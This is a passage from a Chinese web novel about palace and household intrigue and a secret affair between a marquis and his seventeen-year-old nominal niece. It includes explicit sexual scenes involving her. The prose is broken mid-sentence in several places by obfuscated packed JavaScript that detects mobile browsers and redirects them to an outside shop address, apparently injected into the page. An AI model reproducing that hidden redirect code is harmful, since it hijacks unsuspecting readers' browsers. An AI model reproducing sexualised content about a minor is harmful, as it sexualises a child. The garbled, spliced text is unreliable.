玉怜脂靠近她，直勾勾地：“阿姊，你说，若他查到是承王在私蓄精兵，国公府的人又知道了这天大的把柄被他捏在手上，会怎么样？” 段素灵：“那自然是……！” 猛地瞪大双眼。 “此事一旦曝露，便是大罪，承王可能不会要了命去，但护国公府是逃不掉的，事情没捅破之前，任氏一族要么尽全力拉拢他，若是拉拢不成，那也只有除之而后快了。”玉怜脂继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991735|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 而以谢砚深的性情，绝不会屈从依附承王一党。 她的声音清泠泠的，吐字清晰： “护国公府和承王互为根基，承王登基，任氏一族千秋万代鼎盛；国公府在，承王才有和睿王相争的砝码。护国公府和镇北侯府对上，承王绝不可能袖手旁观，国公府若倒，他迟早也是俎上鱼肉。” 段素灵深呼吸片刻，忽地说：“那这岂不是便宜了睿王？” 玉怜脂朝她瞥去一眼：“左右帝位的不止是帝心，还有民意，还有文武百官，睿王已经惹得民怨沸腾，等到承王也废了，自会有人提出新的储君人选。” 谢砚深不入承王一党，但估摸着也瞧不上睿王那厮囚拐孤儿聚众淫-宴的下作行径，如何肯奉之为明主。 “届时，谢氏处在风口浪尖上，不想站队，也不行了。” 段素灵眼角颤动，艰难开口：“这样做，将来若是谢侯知道，恐怕是不会放过姑娘的。” “而且还有谢滨大人……” “成大事者，何拘小节？”玉怜脂垂下眼，隐去眸中锋芒，“权掌北境数万精兵，谁败，他都不会败的。” “若他查得此事，却犹豫不前，不肯揭发，那便是食君之禄却不忠君之事，我便是逼他又如何？若他尽臣子本分，不惧卷入朝堂争斗，那我们也只是殊途同归罢了。” “可谢侯之后如何行事，我们根本无从知晓。”段素灵沉声。 玉怜脂的眼中恍着温软的光，：“……只要他还惦念着我，哪怕只是惦念着我这具身子，便不愁没有去路。” ˉ 夜色已经深了，福明站在书房门口，颇有些踌躇不前。 昨日他们侯爷和老太君母子闹翻一场，直到现在主院都是冷凝的气氛，下人们眼观鼻鼻观心，恨不得走路都是飘起来的，最好什么动静都没有。 但现下他却不得不进去，廊下的忠伯神色极为严肃，怒瞪着他。 犹豫着，还是硬着头皮推门进去。 “侯爷，”福明谄笑，“已经子时了。” 谢砚深并未从书案上抬头，只是冷声：“你坏了规矩。” 福明一抖，恨不得拔腿就跑。 主院里，若是他家侯爷在处理公务，即便到了深夜，甚至清晨，也是不许人打搅的，什么“担心您身体”的劝说也全都是该罚。 主子的命令就是命令，不需要下头的人横生出旁的小心思多事。 福明脸上五颜六色：“这……” 谢砚深停了笔，抬起头，眼神如锋刀瘆人：“有事就说。” “是润安堂那边来人了，”福明回话，“说太夫人气急攻心，醒了又晕过去，请您过去看看。” 他飞速说完，立刻低下头。 数秒后，上首传来一声冷笑。 福明咽了咽口水，抬头，看见主子的面容上覆着戾气。 明明冬祭前，他们侯爷也不似这样抗拒议亲。 脑中不由得又想起昨日在润安堂，太夫人把那梅府小姐的画像拿出来，不停说如何如何满意这儿媳人选云云，末了，又掀帘子请出来三个美婢，说要日后侯爷都纳入房里，多开枝散叶，好让侯府不再人丁寥落。 他眼看着侯爷的脸色越来越阴晦，但还没翻脸，只说不必。 太夫人却开始有了怒气，一通训斥，说着说着牵扯到了玉姑娘，什么“她是个不安分的，身上麻烦多，已经帮她相看了几户人家，如今正月已过，约莫今年暑夏前就能成事……” 后头跟着的“玉氏女十七已要成亲了，你年岁长了这许多还不上心”已经不太重要。 太夫人训累了收尾的当口，侯爷放下了手中茶盏。 院子里一片鬼哭狼嚎，厅上的婆子丫鬟全被护卫拖出去，想跑回房里躲着的院子管事被绑着捉回来，站在上座旁边的甘嬷嬷要不是死抱着太夫人的腿不放，也得一起挨板子。 但王老太君每日都喝参汤，气得脸通红也没晕过去，只能眼睁睁看着。 这一遭下马威后，府里算是沉云密布了。 “侯爷，太夫人也是忧心您的婚事，您要不还是去看看?”福明压着鸡皮疙瘩，小心翼翼开口。 门外，隐隐传来忠伯的咳嗽。 而后他闭了闭眼，顶住想跪下的冲动，拼着为侯府名声死而后已的胆气，又继续颤抖着说： “玉姑娘……与您毕竟是，毕竟是叔侄的名分，既回了京，便不能一错再错……将来主母入府，您若纳姑娘为偏房……岂不是伤了和大郎君的手足之情，兄弟阋墙且不论，也委屈了姑娘……您若真心疼姑娘，不若现在就断了……” 他的话没说完，便被上首传来的声音打断—— “三十军棍，去领罚。”男人的声音冷且沉。 福明腿一软：“……是！” 连滚带爬冲了出去。 45. 书房 翌日清早，精巧的暖轿落在润安堂外。 少女染着润粉蔻丹的白细指尖轻撩开轿帷，随后整只手落到轿外候着的老妇人掌中。 玉怜脂探出身，头顶遮雪的纸伞投下淡淡阴影，将她笼罩。 润安堂的院门开着，但整座院落静悄悄，不是毫无人气儿的安静，而是风声鹤唳草木皆兵的压抑。 她刚离轿厢，守院门的小厮已经快步跑过来，压下身子：“玉姑娘安！” 玉怜脂站定，浅笑道：“我回府多日，因着旧疾迟迟未来拜见太夫人，今个才来润安堂，还劳烦为我通传一声。” 话音落下，关嬷嬷脚步轻动，一张银票暗塞进面前人手中。 银子无论什么时候都是好用的。 那小厮低头扫了眼银票上的数目，眼角都笑出纹来，却并没有立刻跑回去传话，而是凑近了些，压低声音： “小的待会儿就为姑娘通传，只不过这两日太夫人不大安宁，府里医官还在调理，恐怕不得空见姑娘，若是见了，姑娘尽量别提和侯爷沾边的事儿，最好聊些别的。” 玉怜脂眼中微闪，颔首：“无妨，若是太夫人无暇见我，我改日再来便是，小哥只管通传罢。” “诶！”小厮点点头，快跑着回去。 过了小半盏茶，那小厮回来了，一闪身，后头还跟着个衣裳精细的年长老妇。 王老太君身边贴身伺候的甘嬷嬷。 今日这厮全然不像往日那样威风了，从前她作为府里老祖宗的心腹，那是极有话语权的，走到哪都必得摆着架势，方才叫不堕了老太君的颜面。 但此刻，虽表情撑着严肃，细看去却能发现眼神不自主地飘忽，就连足下都不走那气势汹汹的阔步了，变得谨慎缓慢起来。 ……看来是被吓惨了。 玉怜脂帕子掩着唇轻咳两声，移步迎上去：“甘嬷嬷。” 甘嬷嬷打量着眼前的少女，大半月不见，她的身量肉眼可见地更加纤薄了，唇色淡白，眼下有隐约青黑，病弱更甚以往三分，看起来的的确确是大病了一场。 心下有了计较，面上不满收敛了些。 “玉姑娘可算回来了，太夫人仁善，知道了姑娘遇了歹人，极为忧心，还好姑娘没事。”她开口道，“太夫人这些日子操心累着了身子，需要静养些时日，就不便见客了。” 玉怜脂轻蹙细眉，颔首应道：“我回来拜见得太晚，还让太夫人劳心至此，真是我做晚辈的罪过。” “还望嬷嬷替我禀告太夫人，待她老人家身子好些了，我再来请安。” 言辞恳切，十分恭敬。 “姑娘有心了。”甘嬷嬷点头，忽地又道，“玉姑娘回来之后，可曾拜见过大夫人？” 玉怜脂摇摇头：“还不曾，想着先来拜见太夫人，再去见婶婶。” 甘嬷嬷不知想到了什么，提了口气，脸皮带上一抹笑：“前些日子大夫人回来之后，与太夫人商量了几番姑娘的大事，但最后头……还是得姑娘自己抉择。” 说到“大事”两字，老妇的声音放低了些，虽未明说究竟是何事宜，但在场的都是一下就能听明白。 女儿家的大事，自然便是那姻缘了。 果不其然，甘嬷嬷眼瞧着面前的小娘子倏地羞垂眼，脸上飞起淡淡酡红。 “这……我都依太夫人和婶婶的……”玉怜脂低声喏喏。 甘嬷嬷满意笑道：“姑娘懂事自是好，只不过咱们侯府岂是那等强娶硬嫁的门户，还是得姑娘自己掌过眼才好。” “姑娘说要去见大夫人，那便正好，到时酌夺出结果了，再来拜太夫人不迟。” 玉怜脂轻声再谢过，随后转身上了暖轿。 轿夫抬着轿子，没有回珠玉院，而是径直去了高大夫人所居的流芳庭。 只两盏茶，她就出来了。 眼中笑意收尽。 坐进暖轿前，朝旁边的关嬷嬷气声道：“我要见他。” 说着，手中递过去一个荷包。 里头的东西坚硬，像是玉佩。 后者垂眸应下。 - 入了夜，从后门出了珠玉院，福明已经在墙下候着，见她出来，连忙笑着迎上来。 跟着他娴熟穿过两座院子间的竹林，到了主院隐蔽的小门，跨过门去，一路七拐八绕，最后竟是到了主院的书房。 福明推开门，恭敬侧身：“姑娘有要事说须得赶紧，侯爷说只有一盏茶的时辰。” 她踏进房门，如愿见到了那个男人。 谢砚深并未在书案后处理政事，而是坐在供作休憩的罗汉榻上，抬手沏茶。 紫砂壶出水如油，断水刀切，一看便知是千金难买的名器。 书房门在身后轻阖上，她站在原地没有动，目光直勾勾盯着他。 谢砚深沏了两杯，置于鎏金红酸枝小几上，转头看见她有些怔愣的模样，眉心压下： “过来坐。” 但站在门口的小娘子却不肯听他的，自进了书房瞧见他，泪珠子竟开始啪嗒啪嗒掉。 “我不坐。”她摇摇头，声音很软，委屈中还带着丝许怨怒的小脾气。 谢砚深看着她，不由得皱眉，旋即站起身，几步走到她面前，垂首看着她，小臂抬起，想要握住她的手。 玉怜脂一偏身躲开他，拿着帕子轻轻拭泪，避开他的视线。 “怎么了？”男人沉声问。 她啜泣着，欲言又止，似是一直在挣扎，过了许久，终于开口细声问：“你，你是不是要娶妻了？” “我听婶婶说，你要，你要定亲了……” 其实她入府时就知道此事，但此刻她自欺欺人，非要听他亲口说。 谢砚深眸中晦暗，没有说话。 这在本就不安的人眼里，便是默认。 她的泪瞬间决堤，不要命似的往下淌：“是不是？你要娶妻了，是不是？” 低弱的哭泣声让人心碎，胆子也大起来，几乎是质问他。 男人面色不变，捏着她的小巧的下巴，不由分说擦去她脸上的泪水：“这不是你该管的事。” 这话宛如一记耳光，狠狠扇在玉怜脂脸上。 她算什么，凭着一段露水情，就想左右侯府家主的婚姻大事？ 少女脸色顿时苍白如纸，似是不敢相信，连声音都抖了许多，喃喃道：“什么?” 玉怜脂身子不好，经不得情绪起伏太过，此时已有些摇摇欲坠，像是伤透了心。 谢砚深看着她，压着声：“当日我许诺过的，全都还作数，你不必担忧。” 可她要的不止是那些。 她的泪水停不下来，手里的小薄帕只怕禁不住这样的泛滥。 谢砚深转身走回罗汉榻出，从暗格里拿出绣竹的锦帕，刚转回身，便被一道粉影扑坐在榻上。 她双手压着他宽厚的肩，垂着脑袋与他对视。男人很高，腰背硬挺，即使他坐着，头顶也能到她精巧的锁骨处。 他们离得太近了，空气都有些灼热起来。 而此处是书房。 谢砚深的眼神已经有些沉下来，眼中淡淡厉色便是警告，教她休要继续放肆。 可玉怜脂不管这些，她弃了帕子，任由盈润薄纱落到男人的黑色锦靴旁。 两只柔软的小手轻轻地抚上男人的肩膀，缓缓往上，一路流连到他的脸庞，一点一点，细细描摹着他的眉眼。 “砚郎，你不要我了吗？”她哭着问他。 在玉怜脂脱口而出“砚郎”两个字时，谢砚深倏地抬臂，握紧了她不安分的小手。 这句对情郎才能有的称呼，仿佛可以瞬间将两人拉回那个旖旎的冬夜，拉回族庄里缠绵快活的日子。 他们之间是阴差阳错，但年少而知慕少艾，少女易怀春，更何况有了纠葛的是他这样耀眼夺目的男子。 知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她终于肯抬起脑袋，与他额头抵着额头，又慢慢吻在他脸侧，仿佛是情人之间的奖励。 玉怜脂复又埋入他颈窝：“我知道，砚郎不能娶我，可我心里很难过……” 她很不高兴，甚至开始折磨人，男人已经体会了。 谢砚深顿了顿手，还是抬手抚摸了她的鬓发，为她擦干了泪水。 ……不是不能。他心中鬼使神差应了一句。 从窗缝向书房里瞧去，淡粉丝裙的少女乖巧窝在高大俊美的郎君怀里，杏眼里尽是水雾，男人一手扶住她纤薄的背，一手为她拭泪。 两情相悦，似蜜柔情。 “先下去。”谢砚深说。 或许是他的纵容让她心里好受许多，这一次她肯听话了，慢慢直起腰来，手却还缠着他脖子。 玉怜脂刚刚要撑起身子，屋外就传来了敲门声，把她吓了一跳，复又重重坐了下去。 男人脖上顿时青筋暴起，喉结滚动，似是在隐忍。 门外是福明的通报声：“侯爷，时辰到了。” 谢砚深却没有回话，闭着双目。 玉怜脂抬手撑住他的肩膀，慢慢下了软榻，待她站好，谢砚深才睁开眼。 她伸出手，开始为男人整理袍摆，小手灵活得很，东扯扯西抚抚，柔软的声音中带着些歉意：“弄乱了砚郎的衣衫，砚郎不要生我气呀。” 不知她弄到哪里，谢砚深倏地挡开她的手，压抑着声音：“不会。” “回去吧。”他说。 话音落下，他却瞳中猛然缩紧。 原本离去的柔软丝裙竟又落回了他腿上。 她压稳了他，轻咬他的喉间，像是好奇，但又像是使坏：“砚郎这是怎么了？” 说着，摆了摆腰。 “唔……好热啊。” 46. 想念 屋内烛火摇晃出昏昏暖光。 黏密的声响交缠在唇舌处，纤指探入武将腰间玉带，摩挲许久却不得解法，她顿时有些气恼，深喘一声，仰起头，舌尖银丝勾断。 “快解开……”她贴在他侧耳，撒着娇。 男人大掌托着她尾处，喉结滚动，最后哑着声：“你的身子，不能。” “砚郎难道不想怜娘么？”她的声音幽软如涧中细水，“可是怜娘旷了许久，想砚郎想得紧呀。” 那夜她初初有些难受，可很快就变作欢愉，甜蜜的滋味从骨髓皮肉深处钻起来，沿着最微妙的地方一路游走入灵台，激得她止不住地颤抖。 真正是百媚生春魂自乱，三峰前采骨都融。 她先前在外头小院隔着屏风见的那些秽情花样，他是全不会的，但他的狂猛悍厉，却令她魂颤心惊。 尾音飘散，她腰间环着的长臂霎时收紧，男人的呼吸沉重，他与她贴得更近，下一瞬又吻到一处，少女细白的指换了方向，伸向自己柔软的衣襟。 她身上穿的本就是宽松舒适的丝裙，不似白日装束一层叠着一层，很快，她食指挑着一根细细的丝带，牵出了衣领，细带连着一块小布，从最内里被抽出来。 轻喘着气，她稍离身，在他的双眼半睁之时，带着女子酥腻体香的柔软粉缎覆在了他的面上，压着他挺直的鼻厮磨滑动。 “好砚郎，香不香？”她眸中氤氲，轻软着声问。 - 福明站在书房外廊下，目不斜视，另一头是面如土色的忠伯。 方才敲完门，里头毫无回应，但他们总不能闯进去，只好继续等着。 忠伯来回踱步，过了半盏茶，忍不住走到表情有些僵硬的福明面前：“你赶紧再去催催！” 福明忍不住翻了个白眼：“您是嫌我挨的棍子还不够吗？要催您自己去催！” “你年纪轻轻的挨几下没两天活蹦乱跳了，我这把老骨头挨一下就完了！”忠伯怒瞪他，随即又压着声音，“侯爷从未如此，如此……！一个不慎，整个侯府的名声就都——” 福明放低声打断他：“您老还是别操这个心了，若是侯爷真的有意，又岂是你我拦得住的？” “此事能瞒一时，能瞒一世吗？要是让太夫人和大郎君知道了……” 听见这话，福明眼一横，当即反问：“侯爷此刻瞒着，难不成您觉得是因为怕了太夫人，怕了大郎君？” 他们侯爷是在祖父母膝下养大的，和老太君这个亲娘都不是十分亲近，和老侯爷就更加了，像上下属多过像父子，性情天生就冷淡。 当年北境恶战，杀过多少蛮夷外敌，见过多少人间惨祸，他清晰记得，每回守城攻战归来，侯爷的衣发躯体、身上铠甲披风，全都被血浸透，一步一落，那冲天血腥，便是喝着清水都恍惚像是在饮人血。 这样刚硬狠厉的人，怎会惧怕世俗的眼光。 忠伯哽住无言，福明接着说：“上回您说为着老侯爷，无论如何也得劝上一劝，好，我听您的，尽力劝了，结果如何您老也看见了。何苦再去做那无用功？侯爷要做什么，你我照办便是，别再猜度主子的想法，您要是不想在主院里伺候了，您往里请，可别再拉上我。” 此话已经像是警告，忠伯是主院的老人，年轻时伺候的是先镇北侯，也算是看着谢砚深到大的，但服侍年岁再长的下人，也还是下人，怎能逾越本分。 忠伯脸色难看了些，过了片刻，深深叹了口气：“……是我糊涂了。” 福明挑眉：“您明白就好。” “玉姑娘一时半会估摸着出不来，珠玉院那边不全是姑娘带来的人，您快去处理了那厢吧，别出什么差错。” 忠伯丧着脸点头，随后抬步离开。 福明深呼出一口气，站回原处。 他心下刚平复些，下一刻，身侧透出的书房烛光竟灭了大半，廊下瞬时暗了许多。 倏地转头看去。 不多时，一阵器物坠地的闷响隐隐传出来，随后是女子的细碎吟喘声，婉转黏腻。 福明脸色一变，立时几步走入院中，臂一挥，院子里其余人快步走远。 - 月上中天，书房大门打开。 男人披着玄色长袍，半敞，露出的肌体偾张，泛着激烈的红，覆有薄薄水汗。 鬓发缭乱，面上有松解的慵意。 “备水。” “是！” - 护国公府。 一袭金边红裙铺散在廊下，裙装的主人被冻得抑制不住发抖，双手垂在身侧，攥成拳，捏紧。 身后落雪的院中，两名婢女趴在刑凳上，衣衫遍是鲜血，已经晕死过去。 “你可知错？！”任保盯着眼前跪地的女子，面容已经隐约狰狞，带着滔天怒意暴喝。 任智妤双眼通红，咬紧牙，脸容都跟着不甘颤动：“我没错。” 一字一字，从牙缝中挤出。 “好，好！”任保怒笑着，手臂再扬起，狠狠再一鞭抽在她身上！ 任智妤疼得浑身一抖，但依旧不肯服软，目光熠熠，抿着唇瞪向上方。 任保怒气更甚，不再留手，手中鞭迅疾挥下，沉鞭不断刮在她身上，任智妤终于忍不住痛叫出声，不受控制地向前伏身，十指几乎要抠入廊砖。 “父亲！”廊下数米外站着的墨绿袍瘦高少年抑制不住大喊，双膝跪地，“您饶了阿姐吧！别再打了！” 任保猛地顿住手，凌厉目光朝旁射去。 任晟膝行爬到跪伏在地的任智妤身边，将她扶起，头仰着朝面前人泣声：“阿姐纵然有错，可她怎受得住这样的责罚？父亲！若是阿娘还在，定会心疼的！” 护国公府大房一女二子，三姐弟俱是国公原配袁氏夫人所出，袁夫人生下幺子之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991737|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后体弱，不久，因一场风寒病亡，护国公深爱发妻，大恸，此后多年未再续弦。 提起故去亡妻，任保的身体不由得晃了一下，死寂数刻，将手中鞭狠力砸向浑身血痕的任智妤。 任晟连忙把那根鞭子收起来。 但任保怒气未消，指着女儿厉声斥道：“你知不知道，因为你独断专行，我们折了多少人手？！” “镇北侯府的车队，你也敢去劫！那谢邃是什么人？枢密副使！你以为，派去的人死光了，就半点痕迹不留了？！他此刻怕是已经查到是谁动的手了！” 任智妤吸着气，颤抖着声音：“……若不是，镇北侯突然派了陌刀队跟随那个女子……我早就得手了……” 原本一切顺利，可谁知道，临到关头，镇北侯一反常态，居然秘密调了一队精兵去护送那个玉氏女。 若不然，她此刻已经将玉氏女的头颅装回来请功了！ “你还不知错！”任保气得面部抖颤，抬起脚就要踹过去，被扑上来的任晟死死抱住。 “阿姐！你且认错罢！别再倔了！”他气急大喊。 “我无……错！”她满头冷汗，又喊了一句。 “你！”任保怒意再起，气血都翻涌起来，“鲁莽愚笨，凭你这样，将来如何担得起大业！” 听到这话，任智妤竟强撑起身，似乎连身上痛苦都一扫而空，眼中迸发厉光： “我担不起大业……?女儿就是为了任氏的千秋大业，才杀伐果决，立刻派人出手！” “不趁着机会，在京郊官道上杀那女子，如今她又躲回了镇北侯府之中，父亲可还能再找更好的机会杀了她?！” 任保抿唇，微眯起眼。 廊外风雪交加，气氛愈发冷凝。 “……爹爹，阿姐?阿哥?”一声颤抖的恐惧声音从右侧飘来。 三人俱是惊了一下，连忙转过头。 三米外，有些痴肥的少年着一身雪袄，呆呆地看着他们。 “阳儿！你怎么……！”任保皱眉疾呼。 任阳不管他，小跑着到任智妤身旁，一把抱住她，眼泪鼻涕瞬间崩出：“谁打阿姐！谁打阿姐！阿姐痛！痛！” 任智妤无力回应他，只是靠在他和任晟的身上。 任保看着先天痴傻的幺儿，怒呼：“明阳院的人呢?！都死了吗?！” 后头婆子丫鬟大呼小叫着跟着冲来：“国公恕罪！实在是小郎君听见动静，非要跑来，奴婢们拦不住……” 廊下顿时兵荒马乱，任保沉着脸，最后挥手，命他们全都撤出院子。 离去之前，他冷冷看着跪地的女儿，道：“太皇太后病重，不定何时便宾天了，宗室世族的婚事都紧着定下，正式赐婚于你与二殿下的圣旨，年后便到。” “回去反省你的错失，这回的事，下不为例。” 任智妤闭着眼，扯着唇角，冷笑一声。 47. 浴池 主院的浴房内比珠玉院、翡韵阁的都要宽敞许多，至少大了三倍，最里间修了一座小浴池，连着地龙与活水。 耗费不菲倒不算什么，只是要用一次得提前准备许久，花的时辰长，因而谢砚深并不常用。 但今日例外。 谢砚深抱着怀中裹得紧实的人，踏进浴房，即刻发现平日只作摆设的浴池升腾着白雾，水面上还覆盖着层层花瓣，香气与热气同时扑向门外。 立时朝右侧瞥去一眼。 福明立在门边，垂首敛眼，无不恭敬。 头顶上刀锋一样的目光收了回去，换作一道沉声：“告诉寝房那边，今夜多垫两层厚被。” 武将的床木硬，娇养出来的女娘素来软榻安眠，定然会不习惯。 ……之前蹈义台那回，玉怜脂明显睡得不安稳。 福明连忙应声：“是。” 男人抬步入了浴房，木门闭阖。 - 玉怜脂伏在男人的肩上，昏昏欲睡，侧颊的雪白软肉被压得堆起来一点，无力半阖着眼，眼尾哭过之后变得与唇部一样糜红，整个人散发着堕欲的迷乱。 长发用一根长簪简单挽起，左臂环着男人的脖颈，手不自然地颤抖，甲尖无意识轻刮着他坚实的肩背。 “……你来时，就沐浴过了。”谢砚深偏首，侧压着她的鬓发。 池中花瓣也压不过清柔的发香。 “唔……”她迷糊着应声。 “你是故意的。”他下了定论。 倚在他肩上的少女痴痴笑出声，声音轻而酥软：“怜娘都说了……想砚郎想得紧呀。” 说罢，她抱紧了他，欢欣，又更像满足：“砚郎好厉害。” “就是不听话。”喏语中带着抱怨。 只喂了她一次，后头求他，他分明也还热着，却怎么也不肯，就专折腾其他地方，咬得她明日穿小衣怕是都不成了。 男人臂上青筋绷紧，似乎在强忍什么，嗓音极为沉哑：“医官早有交代，你本就不能……” 没说完，薄唇被柔软封住，勾连出细密声响。 “下回可要乖乖的，不然就不让你吃了。”末了，她噙着眸中水雾，轻哼。 …… 珠玉院那边拿来了新的衣裙，候在房外，但玉怜脂晕乎乎的时候便不耐烦，最后穿着平日备在浴房里的里衣。 他的衣衫她穿着极宽大，没有多余的气味，只有清新的淡淡皂角香。 躺入床榻的时候，她已是困倦极了，没有力气，软倒在谢砚深怀里，被他紧紧抱着。 迷迷糊糊之中，只能感觉到浑身被一股极致的温暖围裹。 那是往日她放多少汤婆子在衾被里都达不到的舒适，热意不是传递来的，而是交融，可以透过皮肉，渗透身体深处。 她许久没有过了，一夜无梦的好眠。 - 日子过得飞快，元宵过后不久，西院的疫症散了大半。 染症的下人们基本都好了起来，只有谢滨和方氏还缠绵病榻，方氏的病症似乎更严重些，一直不得清醒，但谢滨却已经有醒来的时候。 又过了两三日，玉氏派去西院里的两名大夫替谢滨递了封信出来。 给玉怜脂的。 - 珠玉院。 廊下很安静，段素灵带着手套，拆开信封，用艾叶再熏过那信纸，随后提笔，将信纸上的内容一字不落誊抄下来。 等她抄完，关嬷嬷拿着信，转身进了房内。 …… 玉怜脂两指捻着薄纸，垂眸扫过，片刻后，放下。 谢滨在询问她的婚事。 ……又是婚事。 前些天，她去高大夫人的院子，从高大夫人那知道了王老太君心中不满她在侯府盘桓太久，欲要夏季之前为她定下姻缘的事。 可她不能出去。 一旦踏出镇北侯府，护国公府的刀剑立刻就会向她杀来。 当初柳启彦的追杀便已让她应付得颇为艰难，流水一样的银子撒出去才勉强能抗衡。 一个知府尚且如此，更何况护国公府？ 没了侯府的庇护，她绝活不下去。 关嬷嬷观察着她的神色，压低声音小心开口：“姑娘，三月便是春闱，依着那边的意思，是想好了要在赶考的举子里替您挑人，但若如此，招赘怕是不成了，约莫只能去父……留子。” 俗言士、农、工、商。 人人都说，万般皆下品，惟有读书高。 可这读书却不是寻常百姓能负担得起来的，读书好，价却贵。 若耕田农家中有一人要科考，那非得拼着举家两代、三代，甚至远亲近邻所有人的帮衬，才供得起。 笔墨纸砚于平头百姓而言已是一笔不小的开销，可这还只是埋头苦读所需最常用、最便宜的物什，更何况寻访名 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“段大掌柜说，姑娘也有意要找，”关嬷嬷轻声劝道，“老奴知道，姑娘心里还有大事，可既然您对将来有打算，先看看也是无妨的。” 她越想越觉得找举子的法子可行。 玉怜脂微阖眼，眸中清冷，面上没有表情，似乎是在思索，又好似觉得无趣。 “……姑娘？”关嬷嬷又叫了一声，“您之前不是同大掌柜说了的，难道，您是不满意那些举子？” “按着高大夫人和王太夫人的意思，开春后府里游宴，请了许多人，您暗中先见见那些个挑来的人，再做决定也不迟啊。” “反正您早晚都要选人的不是?” 玉怜脂沉默了半晌，最后开口：“即使我不想见，怕是也不得不见。” 她没有正面回答关嬷嬷的问题，只是说了这一句。 关嬷嬷还想说些什么，但又被打断—— “对了，修书一封送回苏州，让吕叔放出所有人手，这两月务必盯紧金陵城和苏州城里和兵营有关的异动，尤其是武库署、军器监里的低阶官员。我估摸着，他派去调查军刀一事的人，此刻已在两江。”玉怜脂冷声下了令，转了话题。 过了这么些时日，谢砚深说不准已经查出什么了。 她不能一直单纯地窝在侯府这金银窝里，否则难免眼瞎耳盲，总得探得些虚实，才好看下一步怎么走。 48. 走亲 正月末，京城夜里依旧落着小雪，寒意不减，但到了白日，晴空疏朗，天光洒金，雪景分外动人。 难得日头好，又到了年节收关的时候，诸如探亲访友的聚首宴席便也多了起来。 这日清早，润安堂那边来了人，说府里有客到访，是安平伯府的姨太太带着一双儿女来了，王老太君让各院主子都去同乐，玉怜脂自然也不能缺席。 润安堂和主院僵了许久，府里气氛压抑得很，偏生主院那边一向强硬，说一不二，真是怒极厌极了，请道圣旨重回边境守关，十年八载不回来也不是没可能。 约莫王老太君也清楚谢砚深的性情，所以想借着这次聚宴缓和关系。 玉怜脂坐在妆台前，轻抿唇瓣间的口脂，再松开时，唇色更加嫣润，雪肤花貌，无需敷粉便已足够妍丽。 “姑娘这些日子调理得当，气色总算是好起来了。”关嬷嬷满眼欣慰地看着镜中的少女，忍不住感叹。 “这几日……确实睡得不错。”玉怜脂轻抚腕上玉镯，轻笑一声。 从那夜书房之后，一直到今日，若谢砚深没有军务要去京郊大营、不回侯府夜宿，她都是睡在主院的。 入了夜，便沿着小路从珠玉院去主院里。 第一回在主院她是蓄意勾他，但后头睡在他房里，倒还真不是只为了和他多亲近。 ——实在是夜里有他抱着哄着，睡得舒服。 男人的怀里炽热温暖，身体有清郁的龙鳞沉香气息，略微霸道，却无端让她感到心安。 说来也奇怪，她思虑太重，夜晚一向多梦，但凡有大一点的动静便会惊醒，但和他共眠，竟极少有做梦的时候。 梦里的黑色暴雨，扭曲面庞，全都如潮水退去，余下一片安静的空白。 天还未亮，谢砚深就会起来，之后在演武场练上半个时辰的枪，等他回来，便到了医官定下她该喝药的时间。 他会把她从厚被里抱出来，让婢女为她洗漱之后，看着她用早膳，绝不许她少进哪怕一口，用完膳后，必定亲手喂她喝药。 一切都弄好了，她会亲亲他的唇，再慢慢悠悠回自己的院子，他则是上朝去了。 若是逢休沐，他在书房处理军务，她便在旁边的罗汉榻上看看账本，或是翻他书房里外头根本寻不见的兵书古籍，遇上瞧不懂的，他一得了空闲就会细细说给她听，用沙盘推演给她看。 他们也会一起下棋，输家要被用墨笔画脸，玉怜脂坏主意多，看着要输便装可怜说头晕，趁他急得要找医官的时候鬼鬼祟祟换他的棋子儿。 谢砚深过目不忘，这点小伎俩自然瞒不过他，她被发现之后，一个激灵从椅上跳起来就要逃跑，他气得发笑，三下五除二便把她捉了回来。 一番折腾，最后却还是心软，由着她耍赖，让她拿笔给他画了个大花脸。 等入了夜，便是床榻间的难舍难分，热浪翻滚，蚀骨销魂。 这样的日子，睡得好，喝的药好，身体得到了放松滋补，如何气色不佳呢。 “嬷嬷，今日来的那位姨太太，可曾打听到什么？”玉怜脂挑着妆台上的青黛，边问，“还有她一起来的儿女。” 上回寿宴结束在润安堂小坐，高大夫人和王太夫人闲聊时提过一嘴。 她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下人脚下放轻，掀了帘子快步走入厅中，闲聊顿时被打断。 王老太君偏头睨下，眼神冷了些。 婢女不敢耽搁，向上首老妇人低头回禀：“太夫人，奴婢已经着人去请了各院主子，大夫人身子不爽不便前来，嫣姑娘霖少爷今日被先生留了下来，尚未下早课，珠玉院的人说玉姑娘过会儿就到。还有主院那边……” 